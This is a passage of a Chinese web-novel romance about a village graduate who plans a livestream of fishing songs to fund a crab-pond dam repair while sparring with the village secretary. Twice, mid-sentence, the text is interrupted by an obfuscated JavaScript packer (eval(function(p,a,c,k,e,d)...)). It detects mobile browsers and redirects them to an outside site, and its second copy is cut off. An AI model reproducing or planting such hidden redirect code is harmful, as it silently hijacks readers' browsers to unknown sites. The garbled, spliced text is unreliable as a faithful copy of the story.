他打开公文包,取出一叠文件:“说正事。你的筹款方案呢?” “拜托,我连预算都不知道,怎么做方案?” 余楸坐直身体:“原书记,蟹塘要修就是一整个村子都要修。该拿多少钱,多少人拿,每家拿多少,都还没定数呢。你不给我吃颗定心丸,我哪来的攒钱动力?” 原朗轻哼一声,甩过来一份文件:“前天已经开过村民代表会,修塘的事定下来了。这是草拟的预算,很快会上报。” 余楸拿起来细看。文件做得相当专业,从材料费、人工费到机械租赁,每一项都列得清清楚楚。 她不禁多看了原朗两眼——这男人办正事的时候,倒是有模有样。 但当目光落到总预算那栏时,她猛地瞪大眼睛:“五十一万八千六百?!” 一句脏话脱口而出,她瞬间后悔。 靠——! 原朗皱眉,眼神里的嫌弃都快溢出来了。 “抱歉,没忍住。”余楸赶紧抿住嘴,“人之常情人之常情啦。” “但这...…这也太多了吧?” “多?”原朗修长的手指敲击文件,“塘坝主体用钢筋混凝土加固,一延米造价就要四千三。晨阳村总共八百六十米塘坝,光是这一项就三十万出头。” 他翻开另一页:“你们村地势高,蟹塘地势低,雨季水位能涨两米。普通材料扛不住,必须用防渗防冲刷的复合材料。” 又指向一张手绘图纸:“还有这个拐角处,去年就被冲垮过,需要额外打桩加固。” 余楸听得一愣一愣的。这些专业术语从原朗嘴里蹦出来,配上他那张精英脸,居然莫名有说服力。 “但是...…”她弱弱举手,“这么多钱都要我们自筹?不能跟镇上或者县里申请点资金吗?” 原朗白了她一眼:“要是找县里有用的话,我犯得着找你?” “你这话什么意思?” “意思是,”男人往后一靠,双手交叉放在腹前,“县里今年的水利资金全拨给青林村修水库了。镇上倒是愿意给五万,但要求我们先自筹十五万,他们再配套。” 他眼神锐利起来:“余楸,你知道什么叫''配套资金''吗?” 余楸诚实地摇头。 “就是不见兔子不撒鹰。我们拿不出十五万,那五万也泡汤。” 余楸哑口无言。她虽然没学过考公那些东西,但也明白现在情况有多棘手。五十万的缺口像座大山,压得她喘不过气。 她慢吞吞地问:“所以...…为什么找我?” “第一,是你踢坏了塘坝,螃蟹越狱,修整塘坝迫在眉睫,你是一切的起源。” “第二,你、我、林小樱,是村里唯三的大学生。而你,是唯一的硕士。” “不找你找谁?” 余楸张了张嘴,却无法反驳。确实,比起那些连微信支付都用不利索的叔伯婶姨,她这个“高材生”似乎责无旁贷。 “我知道了。”她收起文件,难得正经,“我会尽快想个方案出来。” 起身要走时,原朗突然开口:“余楸。” “又干嘛?” “你下的是砒霜还是鹤顶红啊?”原朗指了指她随手放在桌上的保温杯,“村委会可没准备洗胃设备。” 余楸这才反应过来他又在嘲讽她的厨艺。 她一把抓起杯子,恶狠狠道:“去你的!”然后拽着全程憋笑的林小樱冲出了办公室。 “喂!下次让我尝尝!” “想、得、美!” 走廊上,林小樱终于忍不住笑出声:“''城里猪''?你也太敢说了!” “谁让他先惹我的!”余楸气呼呼地拧开杯盖,灌了一大口,“不过...…” “不过什么?” 余楸望向窗外忙碌的村民,声音低了下来:“他做的预算确实挺专业的。材料、人工、机械,连运输损耗都算进去了。” 林小樱眨眨眼:“哟,我们秋秋居然夸人了?” “我这是就事论事!”余楸脸一热,“再说了,专业归专业,五十万又不是天上掉下来的!” 她咬着嘴唇思考片刻,突然眼睛一亮:“小樱,我记得你表姐在市电视台工作?” “对啊,怎么了?” “帮我约她吃个饭呗,我有个想法。” * “秋秋,你指甲都快啃秃了。”林小樱拍开余楸的手,“镜姐人很好的,别紧张。” 余楸第N次整理衬衫领子——这是她为数不多能穿出门的“正装”,毕业答辩时穿过,袖口还沾着不知哪年留下的蟹黄渍。 包厢空调开得太足,她后背已经沁出一层薄汗。 “我知道镜姐人好,但...…”她压低声音,“这可是市里最好的饭店!你看这餐具,亮得能当镜子照!” 林小樱刚要说话,包厢门被轻轻叩响。 一位穿着米色职业套装的女性走了进来,及腰长发随着步伐微微晃动,像一匹上好的绸缎。她五官不算惊艳,但组合在一起有种知性的美感,金丝眼镜后的眼睛含着温和的笑意。 “小樱,好久不见。”她的声音轻柔却清晰,随即看向余楸,“这位就是秋秋吧?你小时候我还抱过你呢。” 余楸腾地站起来,差点带翻茶杯:“镜、镜姐好!” 安镜笑着入座,动作优雅得像在拍广告:“别拘束,菜我已经点好了,都是这儿的招牌。” 服务员恰到好处地开始上菜——清蒸鲥鱼、蟹粉狮子头、龙井虾仁...… “吃吧,边吃边聊。”安镜率先动筷,“小樱说你有事找我?” 余楸深吸一口气,决定单刀直入:“镜姐,我想做一场''渔歌+蟹塘''的直播带货,需要您帮忙。” 安镜筷子一顿,眼镜后的眼睛微微睁大:“哦?具体说说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812553|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 接下来的半小时,余楸语速飞快却有条不紊,从直播内容、渔歌编排、蟹塘实景拍摄到后期推广,讲得头头是道。偶尔说到激动处,还会用筷子在空中画圈强调。 “我们村的优势很明显——”她掰着手指数,“一是原生态,现在城里人就爱这个;二是我家的蟹塘规模最大,景观最好;三是我奶奶是省级非遗渔歌传承人,我从小跟着学,虽然比不上专业歌手,但胜在正宗。” 安镜若有所思地点头:“劣势呢?” “物流和保鲜。”余楸不假思索,“活蟹运输成本高,而且我们没冷链。但我查过了,可以和县里生鲜超市合作,借用他们的配送体系,抽成给他们。” 林小樱在一旁听得目瞪口呆,偷偷在桌下给余楸比大拇指。 余楸继续道:“还有品牌问题。现在市面上阳澄湖、太湖蟹名气太大,我们晨阳村的螃蟹品质不差,但没知名度。所以我想打''非遗文化牌''——买螃蟹送渔歌教学视频,或者定制渔歌祝福什么的。” 安镜放下筷子,双手交叉抵在下巴:“你需要我提供什么?” “设备和策划支持。” “我们村连个像样的摄像机都没有,手机直播画质太渣。还有直播脚本、流量推广这些专业的事...…” “你的目标是多少?” “第一阶段五十万。”余楸声音坚定,“修塘坝的钱。” 安镜微微挑眉:“胃口不小。凭什么觉得能成?” “不知道,这个可不可以。” 余楸缓缓起身,清了清嗓子,唱起了一段渔歌: “八月蟹黄肥哟~ 十月稻花香~ 城里客官莫要急~ 晨阳美味等您尝~” 她的嗓音清亮婉转,尾音带着水乡特有的摇曳感,像一阵风吹皱了池塘。 安镜怔住了,随即轻笑出声:“秋秋,你真是...…” “令人惊喜。” 林小樱激动地拽余楸衣角:“你什么时候写的词?太好听了!” “刚想的。”余楸不好意思地挠头,“渔歌本来就是要即兴发挥嘛。” 安镜沉思片刻:“我需要考虑一下。不过...…” 她露出笑容:“我个人很感兴趣。” 余楸差点跳起来:“谢谢镜姐!” * 离开饭店时,余楸脚步轻快得像踩了云朵。夕阳把两人的影子拉得很长,两人赶着最晚一班大巴回了镇里。而后跳上自行车,哼着刚才即兴创作的渔歌,在林荫道上歪歪扭扭地骑行。 “秋秋!看路!” 林小樱在后面喊:“你乐疯了吧?” “我乐得能吞下一整只蟹王!” 余楸回头笑道,却突然一个急刹车。 林小樱差点撞上她:“干嘛呀——” 余楸没说话,死死盯着前方。 不远处,一辆熟悉的红色跑车停在路边,车旁倚着个更高挑的身影。路灯刚刚亮起,昏黄的光线勾勒出原朗优越的侧脸轮廓。 他今天穿了件黑色衬衫,灯光透过薄薄的衣料勾勒出劲瘦的腰肢,衬得皮肤越发冷白,叠着长腿靠在车边的姿态慵懒又矜贵。 但这不是重点。 重点是他身边站着个女人——大波浪卷发,露肩连衣裙,十厘米细高跟,在昏暗光线下依然闪闪发光的钻石耳坠。 那女人正亲密地拍原朗的脸,而一向毒舌的原书记居然乖乖任人“蹂躏”,甚至还微微低头配合对方的身高! 林小樱已经看傻了,她哆哆嗦嗦伸手去扯余楸的衣袖:“秋秋,秋秋你看,那那那不是...…” “我还没瞎。” 不过此时此刻,余楸倒是希望自己瞎了。 “靠——” “原朗不会是...…” “属鸭子的吧?” 5. 混蛋 林小樱倒吸一口冷气:“不能够吧,原书记看起来,挺......” 她卡壳了半天,“正经”这个词怎么都说不出口。 “嘘,赶紧走赶紧走。”余楸推着林小樱的自行车,自己却一个没注意,前轮碾上了路边的石头。 “啊!” “秋秋!” 自行车猛地一歪,余楸连人带车摔在了路边。她狼狈地爬起来,膝盖火辣辣地疼,不用看都知道肯定青了一大片。 更糟的是,这边的动静已经引起了原朗的注意。余楸余光瞥见那两道身影正向这边走来,恨不得当场挖个地洞钻进去。 “秋秋姐,”原朗的声音从头顶传来,带着明显的幸灾乐祸,“好狼狈哦。” 余楸咬着牙抬头,正对上原朗那双含着笑意的眼睛。她发誓,要不是那个漂亮女人就站在旁边,她高低要跟这个讨厌鬼battle两句。 “小朗,怎么不介绍一下?”女人温柔地开口,目光在余楸和林小樱之间来回打量。 余楸这才有机会看清这位“金主”的模样——及腰的大波浪卷发,精致的妆容,一身剪裁得体的连衣裙勾勒出窈窕的身材,脚上的高跟鞋在路灯下闪着细碎的光。她身上散发着淡淡的香水味,像是某种昂贵的花香。 “这都是我的村民,”原朗懒洋洋地介绍,“余楸,林小樱。” 女人微笑着点点头。目光在余楸和林小樱身上停留了片刻。 她们是完全不同的两个姑娘。林小樱像只受惊的小松鼠,圆溜溜的眼睛里写满了好奇;而余楸则更像只炸毛的兔子,虽然努力维持镇定,但泛红的耳尖出卖了她的窘迫。 不过有一点是一样的,都是美人坯子。 “好姑娘,长得真标致。”女人笑着说,“小朗他不懂事,性子冲,有什么不周到的地方,你们多担待。” 余楸硬着头皮回答:“不会的,原书记他,挺……” “和蔼可亲的。” 天知道说出这种彩虹屁她的良心有多痛。 说完就看见原朗在女人身后憋笑憋得肩膀直抖。 “这么晚了,骑自行车不安全,”女人关切地说,“让小朗送你们回去吧。” “不不不,这太麻烦了!”两人异口同声地拒绝。 女人却不由分说地拉着她们往车边走:“有什么麻烦的,别客气。” 林小樱眼珠一转,突然跳上自行车:“那个,我今晚去外婆家住!”说完一溜烟骑走了,留下余楸一个人面对这对奇怪的组合。 靠,小樱,不讲义气!余楸在心里哀嚎。 女人已经打开副驾驶的门,温柔但不容拒绝地把余楸塞了进去:“坐好哦。” 余楸绝望地发现,自己又一次败给了别人的热情,她有时候真的很讨厌自己好说话的样子。 她刚系好安全带,却听见女人对原朗说:“那我回去了,你把人家送回去,开慢点。到家给我电话。” 等等?什么情况?她不上车? 余楸瞪大眼睛,看着女人优雅地走向不远处的一辆越野车,身姿婀娜地坐进去,发动引擎离开了。 真是便宜原朗那小子了。 余楸偷偷瞄了一眼后视镜中的自己——普通的白衬衫牛仔裤,头发因为刚才的摔倒有些凌乱,脸上还沾着一点灰尘。 再看看这辆豪车的内饰,真皮座椅散发着淡淡的皮革香,中控台上的按钮闪着冷光。 她必须承认的是,只有那样的大美人和原朗站在一起,才般配。 “想什么呢?” “啊!” 余楸被突然响起的声音吓得一激灵,捂着心口怒视驾驶座上的男人: “你有病啊!人吓人吓死人的知不知道!” 原朗看着她惊慌失措的样子,眼角带着愠怒,指尖紧紧揪着心口的衬衫,突然觉得有几分有趣:“你属兔子的?这么胆小。” “你怎么知道?”余楸脱口而出。 原朗被她的反应逗笑了:“安全带系好,等会儿我飙起车来,可别被甩出去。” 余楸紧张地抓住座椅边缘:“我、我有点晕车,你可不可以开慢点......” “抱歉啊,”原朗嘴角勾起一抹坏笑,“不行。” 然而让余楸意外的是,车子启动后,原朗开得出奇的稳。车内弥漫着淡淡的檀木香,莫名让人感到安心。 “你上市里了?”原朗突然开口。 余楸点点头,把想要做直播的事一五一十地说了。说到安镜表姐可能会帮忙时,她的眼睛不自觉地亮了起来。 “你这榆木脑袋这回倒是灵光一次。”原朗评价道。 余楸不服气:“朽木都会开花的好吗!” “哼,你那叫开花?” “充其量也就长个蘑菇。” 余楸气得转过头去看窗外,不再理他。 “这就受不了了?” “原朗,”余楸突然转回来,一脸认真,“我真的很不明白,你说你长得也挺帅的吧……” “错,”原朗打断她,“是特别帅。” 余楸翻了个白眼:“怎么嘴巴就跟吃了屎一样,说话那么难听。” “吱——”一个急刹车,车子停在了路边。 原朗转过身,眯着眼睛打量她:“余楸,你知道我为什么说话难听吗?” “因为这个破村子连个咖啡店都没有!我每天早上都要开车一小时去县里买咖啡。还有,从镇上到村里的那段路,铺的都是什么?每次开车都像是在做脊椎按摩。更别提那些螃蟹......” 他一口气说了十分钟,从村里的网络信号吐槽到村委会的办公设备,最后总结:“所以,我说话难听是因为这个鬼地方让我浑身不舒服,懂了吗?” 余楸被他说得一愣一愣的,最后只憋出了两个字。 “混蛋。” 她的声音很小,带着点委屈,脸颊因为生气微微鼓起,看起来像个受气包。 原朗盯着她看了两秒,突然笑了。 “我是混蛋,那你是什么?” “笨蛋?傻蛋?手榴弹?” “我是你大爷。” 余楸扭过头去,决定再也不跟这个混蛋说一句话。 车内安静得可怕。 原朗瞥了几眼副驾驶上气鼓鼓的侧脸,嘟囔了一句:“真没劲。” 车子终于停在了余楸家门口。她解开安全带就要下车,却被原朗叫住:“喂!我送你回来,你都不跟我说声谢谢?” 余楸转身,月光洒在她的身上,勾勒出她清丽的轮廓。她的眼睛在夜色中格外明亮,嘴角勾起一个假笑。 在原朗的注视下,她缓缓伸出右手,然后,留下一根中指。 “谢谢了。” “鸭子先生。” * 余楸这一周忙得脚不沾地。 白天跟着父亲照料蟹塘,从投喂到水质监测,每一项都学得认真。她特意买了个笔记本,密密麻麻记满了养蟹知识——“蜕壳期补钙”“水草覆盖率30%最佳”“如何分辨病蟹”。有时半夜醒来,脑子里还在循环“蛋白质含量”“溶氧量”这些专业名词。 除了学习,她还要在蟹塘周围踩点,寻找最适合直播的位置。东岸光线好,但背景杂乱;西岸景色宜人,可下午会逆光。她来来回回走了十几趟,腿上被蚊子咬了好几个包,终于选定了一处既有芦苇荡做背景,又能拍到整片蟹塘的绝佳位置。 一周下来,她腰酸背痛,周末直接瘫在床上起不来,决定给自己放一天假。 不过,这一周倒是有件舒心事—— 原朗出差了。 听林书记说,他送自己回家的第二天一早就去了市里,一个人走的。 整整七天,没人找她茬,没人阴阳怪气,清净得让她差点忘了村里还有这号人物。 只是…… 余楸坐在后院的小木椅上,望着远处的蟹塘发呆。 没有原朗的日子,好像少了点什么。 无聊? 好像不是。 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“不是就不是呗,那么激动干嘛?”母亲把钥匙塞进她手里,“人家原书记都同意我们去了,还谢谢我们好多遍呢。” 余楸在心里翻了个白眼:那都是做给您看的!我可没捞到半句好话! 拗不过母亲,她只好不情不愿地跟着出门。谁知半路上,母亲被李大妈一把拽住:“三缺一!快来!” “妈!”余楸瞪大眼睛。 “楸楸啊,你自己去吧,啊!” 母亲乐呵呵地跟着李大妈走了,留下余楸一个人站在路边,手里攥着钥匙,无语望天。 算了,打扫就打扫! 就当是做慈善了。 她深吸一口气,朝原朗家走去。 * 推开门,屋内比她想象中整洁得多。 客厅一尘不染,茶几上摆着几本金融类书籍,旁边是一杯喝了一半的咖啡——早就凉透了,杯底凝着一层深褐色的痕迹。 “还挺爱干净。”她嘟囔着,拿起抹布开始擦拭家具。 等到了卧室门口,她犹豫了一下。毕竟是私人空间,进去似乎不太合适。 但某种莫名的好奇心驱使着她,最终,她还是轻轻推开了门。 卧室和上次来时一样,床铺平整,衣柜紧闭,但多了几样东西—— 一块五颜六色的滑板,一把吉他,还有几大盒未拆封的乐高。 余楸忍不住笑了。 果然还是小孩子啊! 她简单整理了一下,发现桌上还摊开着几份文件,全是密密麻麻的数字和图表,她看不太懂,但估计是村里的预算规划。旁边还有几张手绘的蟹塘改造草图,线条干净利落,标注清晰。 啧,还挺有两把刷子。 正想着,院子里传来引擎声。 余楸心头一跳,下意识拨开窗帘,那辆熟悉的红色跑车正缓缓驶入院子。 “完蛋!”她手忙脚乱地放下抹布,转身就往楼下冲。 结果在楼梯转角,她结结实实撞进了一个坚实的胸膛。 “啊!”她撞得往后直退。 “嘶——”对方倒吸一口冷气。 余楸捂着撞疼的鼻子抬头,正对上原朗那张俊脸。 他皱着眉,一脸嫌弃:“你这脑袋什么成分?不锈钢还是铝合金?” “我还没说你呢!”余楸揉着鼻子,“胸那么硬,你练拳击的啊?” “不巧,本人练了三年。” 余楸:“……” 她转身就要走,却被原朗一把拽住手腕:“等等。” “干嘛?”她警惕地后退半步,“要揍我啊?” 原朗没回答,只是伸出右手,握成一个拳,递到她面前。 “伸手。” 余楸不动:“凭什么?” 一条银色的项链从他指间落下。 “顺手买的破烂,送你了。” 6. 做、鸭 余楸愣住了。 破烂?送给自己的? 她低头看着掌心那枚小螃蟹挂坠,银光闪闪,做工精致,蟹钳上还镶着一颗小小的蓝宝石,在阳光下折射出细碎的光。 原朗会这么好心? 她狐疑地抬头,正对上男人微微别开的脸,嘴角抿着,像是在极力掩饰什么情绪。 “放心,砸不死你。”他又补了一句,语气依旧欠揍。 果然,给颗糖就要打个巴掌。 “你不觉得,你们长得很像吗?” “张牙舞爪的硬骨头。” 余楸:“……” 她盯着掌心里的小螃蟹,又抬眼看了看对面的男人,心里莫名泛起一丝异样的感觉。 这算什么?道歉?还是…… 她张了张嘴,正想说什么,原朗却已经转身往屋里走。 余楸撇撇嘴,捏着挂坠的链子晃了晃,银色的螃蟹在阳光下闪闪发光。她哼了一声,一甩链子,牢牢攥在手心里,转身往外走。 管他什么意思,反正白捡的礼物,不要白不要! 她心情愉悦地哼着歌走出院子,却在门口猛地刹住了脚步,门口堆着一大摞快递盒,大大小小,堆得跟小山似的,几乎把院门都堵住了。 余楸蹲下身,仔细看了看快递单——专业4K摄像机、全画幅微单、环形补光灯、收音麦克风、三轴稳定器…… 全是顶级直播设备! 余楸瞪大了眼睛,赶紧掏出手机查了查价格—— 个、十、百、千、万……她数着数字后面的零,差点咬到舌头,这得多少钱啊?! “喂!” 头顶突然传来一声喊。 余楸抬头,发现原朗正站在二楼卧室的窗户前,双手抱胸,居高临下地看着她。 “想要吗?”他问。 余楸眨了眨眼:“干嘛,你能送我吗?” 原朗挑眉:“你就说你想不想要吧。” 这么顶级的设备,不想要就怪了。 余楸犹豫了一下,还是诚实地点了点头。 “给你了。”男人轻描淡写地说。 “啊?”余楸怀疑自己听错了,“真、真的吗?” “别高兴得太早,不是免费的。”原朗补充道,“每个月一千块,外加涨一万粉,做不到就租金翻倍。” 果然没有这么好心。 但她还是忍不住兴奋起来,眼睛亮晶晶的:“你说的哦,不许反悔!” 原朗嗤笑一声:“你不反悔就不错了。” 顿了顿,又嫌弃地瞥了一眼她的三轮车,“骑上你的破三轮拉回去吧,别挡我院子。 说完,“唰”地拉上了窗帘。 余楸对着窗户做了个鬼脸,但一转身,表情立刻变得兴致勃勃。她蹲在快递堆前,挨个拍了拍盒子,像是在哄小动物似的,语气温柔得不像话: “乖宝贝,姐姐会好好疼你们的~” 她美滋滋地掏出手机,给林小樱发了条语音:“小樱!快来帮我搬东西!天降横财啊!” 然后,她开始哼哧哼哧地往三轮车上搬快递。 虽然原朗嘴毒,但这次…… 好像也没那么讨厌嘛! 二楼窗帘后,原朗看着院子里忙活的身影,嘴角不自觉地上扬。 “啧,没见过世面的小兔子。” * 傍晚的澄阳湖,水天一色。 夕阳的余晖洒在湖面上,碎成千万片金箔,随着微波轻轻荡漾。远处的芦苇丛被染成橘红色,晚风拂过,沙沙作响,像是在为即将开始的歌声伴奏。 余楸赤着脚坐在船头,靛青色的渔家女装束衬得她肌肤如雪。宽大的袖口随着她的动作轻轻飘动,露出纤细的手腕,银镯子在夕阳下闪着细碎的光。她的头发松松地挽起,插着一支古朴的木簪,几缕碎发垂在耳边,被晚风轻轻撩动。 她低头调试着摄像机,指尖在屏幕上轻点,睫毛在脸颊上投下一小片阴影。 “玩cosplay?” 熟悉的嗓音从岸边传来。 余楸抬头,看见原朗正倚在路边的柳树上,双手抱胸,饶有兴趣地看着她。 她轻轻哼了一声,语气里带着点小骄傲:“你这就俗了,大少爷。这是传统的渔家女装束,一般人穿上可没这个味道。” 原朗挑眉,没反驳,只是懒洋洋地问:“要开始了?” “嗯。”余楸点点头,摆摆手,“我要直播了,你赶紧回去吧,要么躲一边去,别打扰我。” 原朗撇撇嘴,却没走,只是退到一旁的树荫下,抱臂站着,一副“我就看看你能搞出什么名堂”的表情。 余楸深吸一口气,指尖悬在“开始直播”按钮上方,轻轻一点—— “直播开始。” 镜头里,余楸的脸微微泛红。 虽然已经拜托安镜用盐台市文旅局的微博账号提前做了预热和宣传,但她没想到,一开播就有观众涌了进来。 弹幕飞快滚动: 【天啊!主播好漂亮!】 【这是哪里?景色太美了吧!】 【来支持老乡了!】 余楸眨了眨眼,有些羞涩地笑了笑:“宝宝们好,我是秋秋。”她的声音比平时轻柔,带着点紧张,“今天是我第一次直播,有点紧张。谢谢大家的夸奖,我都看到了。” 有弹幕问:【秋秋穿的是什么呀?好别致!】 余楸低头看了看自己的衣服,指尖轻轻抚过衣襟上的绣花,语气不自觉地温柔起来:“这是渔家女的装束,这套衣服是我奶奶留给我的。” 她调整了一下镜头,让观众能看清湖面的景色,然后轻轻划动船桨,小船缓缓驶向蟹塘深处。 “今天先带大家看看傍晚的蟹塘吧,咱们在湖上逛一逛。”她一边划船,一边讲解,“这个时间,螃蟹最活跃,我们要检查它们的生长情况……” 她的声音清亮,带着点水乡特有的软糯,像是湖面上拂过的风,温柔又干净。 弹幕越来越多: 【主播声音好好听!】 【蟹塘好美啊,想去!】 【秋秋懂的好多!】 余楸看着直播间的人数一点点上涨,心跳也跟着加快。 一千人了! 她忍不住弯起眼睛,笑得像只偷到鱼的小猫。 就在这时,一条弹幕飘过: 【宝宝会唱渔歌对吗?想听渔歌!】 紧接着,弹幕被带起了节奏,都在刷屏“渔歌”。 余楸愣了一下,随即笑起来:“大家想听渔歌?” 她将小船停在湖心,调整镜头,让自己和身后的湖景完美入画。然后,她缓缓站起身,赤脚踩在船板上,晚风拂过她的衣袂,像是为她披上了一层轻纱。 “好,那我唱一首《讨海歌》。” 她闭上眼睛,深吸一口气,再睁开时,眼神变得沉静而温柔。 “哎——” 晨雾蒙蒙出船去哟, 晚霞红红收网归~ 龙王赐我三尺浪哟, 蟹将赠我满舱肥~” 她的嗓音清透,像是湖面上泛起的水花,带着天然的灵动。歌声在暮色中飘荡,与风声、水声交织在一起,仿佛整个湖都在为她伴奏。 唱着唱着,她忘记了镜头,忘记了观众,甚至忘记了自己在直播。 她只是站在船头,望着这片养育她的湖水,唱着她从小听到大的歌谣。 直到,远处传来一声低沉的应和。 余楸微微睁大眼睛,转头望去—— 湖的另一头,父亲撑着船,正望着她,嘴角带着笑。 他的声音浑厚,像是湖底的暗流,沉稳而有力,与她的清亮嗓音一柔一刚,在暮色中碰撞出奇妙的和谐。 父女俩隔着湖水,一唱一和,歌声在晚风中飘荡,像是某种无声的传承。 余楸的眼眶微微发热。 她忽然明白,自己唱的不只是渔歌,还有这片湖、这个家、这些藏在血脉里的记忆。 弹幕已经炸了: 【天啊!这是什么神仙合唱!】 【听哭了……】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过呢,我想明白了,渔歌不能丢,家也不能丢。” 她顿了顿,自嘲地笑了笑:“本来想着在家附近的县城找个工作,没事回来看看。哪成想直接找不到了。脑子一热,干脆就回来了,谁知道现在天天跟螃蟹打交道。” 原朗“哦”了一声,没再说话。 余楸瞥他一眼:“那你呢?大少爷怎么屈尊下乡啊?跑我们这玩变形计来了?” “我乐意。你管得着?” “得了吧!”她嗤笑,“你不是学金融的吗?能乐意来养螃蟹?跟一群大爷大妈打交道?” 原朗动作一顿,眯起眼睛:“你怎么知道我是学金融的?” 余楸:“……” 糟,说漏嘴了! 她之前特地缠着林书记打听原朗的事,结果现在一秃噜嘴,全暴露了。 原朗挑眉,唇角勾起一抹意味深长的笑:“好啊余楸,表面看着乖乖巧巧的,背地里这么有心眼子?还调查我?” “说,这么关心本少爷的私事干嘛?” “是不是对我图谋不轨啊?” 余楸荒谬地笑出声:“哈!我没听错吧?” “我告诉你原朗,我就是对螃蟹图谋不轨,也不会对你动歪心思!别往自己脸上贴金了!” 男人的表情瞬间不爽了,闷哼一声:“你最好说到做到。” 他往后一靠,抱臂冷笑:“毕竟,本少爷的魅力,还没人能扛得住。” 余楸翻着白眼,下意识地怼他:“得了吧,魅力那么大,还不是去做鸭——” 话说到一半,她猛地噎住。 ……完蛋! 她眼看着对面那张俊脸一点一点沉下来。 “做、鸭?” “我?” 7. 心跳 诡异的气氛在两人之间蔓延。 余楸干笑两声:“你听错了,我是说做鸭子,做鸭子吃。” “别解释,解释就是掩饰,掩饰就是不争的事实!” 原朗猛地站起来,居高临下地瞪着她,“我就搞不懂了,你哪只眼睛看出来本少爷是鸭子?本少爷还用做鸭子?!” 他气得来回踱步,最后指着她的脑袋:“你脑子里装的都是啥啊?水泥也没有的话,就捞点湖水装进去吧!” 余楸憋憋屈屈地嘟囔:“你金主都上门了,我总不能装没看见吧……” “上门?”原朗脚步一顿,眯起眼睛,“我家到现在就你一个女的进去过。” “难不成你是我金主啊?!” “那不至于。”余楸撇嘴。 “我没钱,我也伺候不起。” “那你倒是说说,我金主是谁?” “就……就上次那个漂亮的富婆姐姐啊,”余楸的声音越来越小,“她还……” “还摸你脸来着……” 沉默。 死寂般的沉默。 余楸偷偷抬眼,发现原朗正用一种看傻子的眼神盯着她,眉梢微挑,唇角抿成一条直线,漆黑的眸子里写满了“你这脑子没救了”的怜悯。 半晌,男人叹了口气:“那是我后妈。懂了吗?” 余楸瞪大眼睛:“小妈文学?!” “尺度也太大了吧!” “……” 原朗气到扶额:“余楸,我和我后妈就不能是单纯的母子关系吗?!” 余楸这才慢一拍地反应过来,连忙摆手:“误会了误会了!对不起啊原少爷。” “靠!别喊我少爷。” ——越听越像鸭子。 “你不是自称少爷吗?”余楸委屈地辩解。 “那我以后不喊了,再也不喊了行吗?” 原朗觉得自己迟早要被面前这个笨蛋气死。 他翘起二郎腿:“你污蔑我的名誉,罚你给我打扫一个月屋子。” “半个月行吗?”她试图讨价还价。 “一天都不能少。”他坏笑着凑近,“不然,我就到你学校论坛上发帖——” “说你看小妈文学,还脑补到本少爷头上。” 这男人记仇能记到下辈子! * 三天直播下来,余楸渐渐摸清了门道。 她决定调整节奏——两天一播,前一天专心策划内容,再剪辑些精彩片段作为预热。这样效率高,还能根据观众反馈调整方向。 账号涨势不错,短短三天就涨了五百粉。余楸盯着后台数据,嘴角不自觉上扬。 照这个速度,一千粉的目标似乎没那么难嘛! 她正窝在电脑前剪视频,突然—— “哐哐哐!” 院门被拍得震天响,仿佛下一秒就要散架。 “谁啊?”余楸小跑着去开门,刚拉开一条缝,一个佝偻的身影就扑了进来。 “哎哟小余诶!”村西头的王大爷一把抓住她的胳膊,老泪纵横,“你得给大爷做主啊!” 余楸吓一跳,赶紧扶住他:“大爷大爷,您先起来!” 王大爷却像抓住救命稻草,死活不肯松手:“大爷不识字,你是大学生,一定要帮帮大爷啊!” 周围邻居纷纷探出头,余楸脸都臊红了,连拖带拽地把人扶进屋,倒了杯热茶塞到他手里:“您慢慢说,到底怎么了?” 王大爷捧着茶杯的手直哆嗦,断断续续讲了原委。 今早他去镇上买蟹饲料,碰见个穿工装的小伙子,说是某大厂的技术员,手头有批“高级饲料”内部价处理。王大爷贪便宜,花两千块买了十袋,回来拆开一看,全是石头子掺沙子! “姑娘诶!”王大爷一把鼻涕一把泪,“大爷攒两千块不容易,这钱你可得帮大爷追回来啊!” 余楸头皮发麻:“您跟家里人说了吗?他们......” “他们都上城里去了!”王大爷突然激动起来,“哪顾得上我这个老头子!本来就不让我养蟹,嫌我麻烦......这下被骗了两千块,娃娃们肯定更不管我了!”说着又要嚎。 余楸赶紧拍他后背:“别急别急,我带您去报警!” 半小时后,镇派出所。 “经营伪劣饲料确实是犯法的。”民警翻着笔录,“但监控刚好坏了,您又记不清对方长相......” 王大爷急得直跺脚:“就、就穿蓝工装!说话带北方口音!” “大爷,”民警无奈,“光凭这点信息,我们很难确定。抓人要讲证据的。” 余楸突然插话:“他有留联系方式吗?收据呢?” “那小子说......说内部价不走账!”王大爷捶胸顿足,"我老糊涂啊!” 民警也只能叹气:“就当花钱买教训吧,下次一定要去正规店。” 连警察都没办法,王大爷直接瘫坐在派出所门口的水泥地上。 余楸去扶他,触手一片冰凉。 老人眼神发直,嘴里反复念叨:“两千块......够买半年降压药啊......” 回村的路上,王大爷佝偻得像只虾米。 余楸想说点什么,却发现所有安慰都苍白无力。 转过田埂时,老人突然抓住她的手:“小余,大爷知道你是好孩子......” 他浑浊的眼睛里闪着水光:“别跟我家娃说,成不?” 余楸鼻子一酸。 夕阳把两人的影子拉得很长,一老一少,慢慢消失在蟹塘尽头。 晚上,原朗家。 余楸机械地擦着茶几,抹布在桌面上来回划着圈,眼神发直。 “迟到一个小时,还顶着张苦瓜脸,”原朗翘着二郎腿坐在沙发上,指尖敲了敲桌面,“难看死了。” 余楸没吭声,继续闷头擦。 “什么事儿给你憋成这样?”原朗挑眉,“跟我说说。” 余楸动作一顿,犹豫片刻,还是把白天王大爷被骗的事一五一十说了。 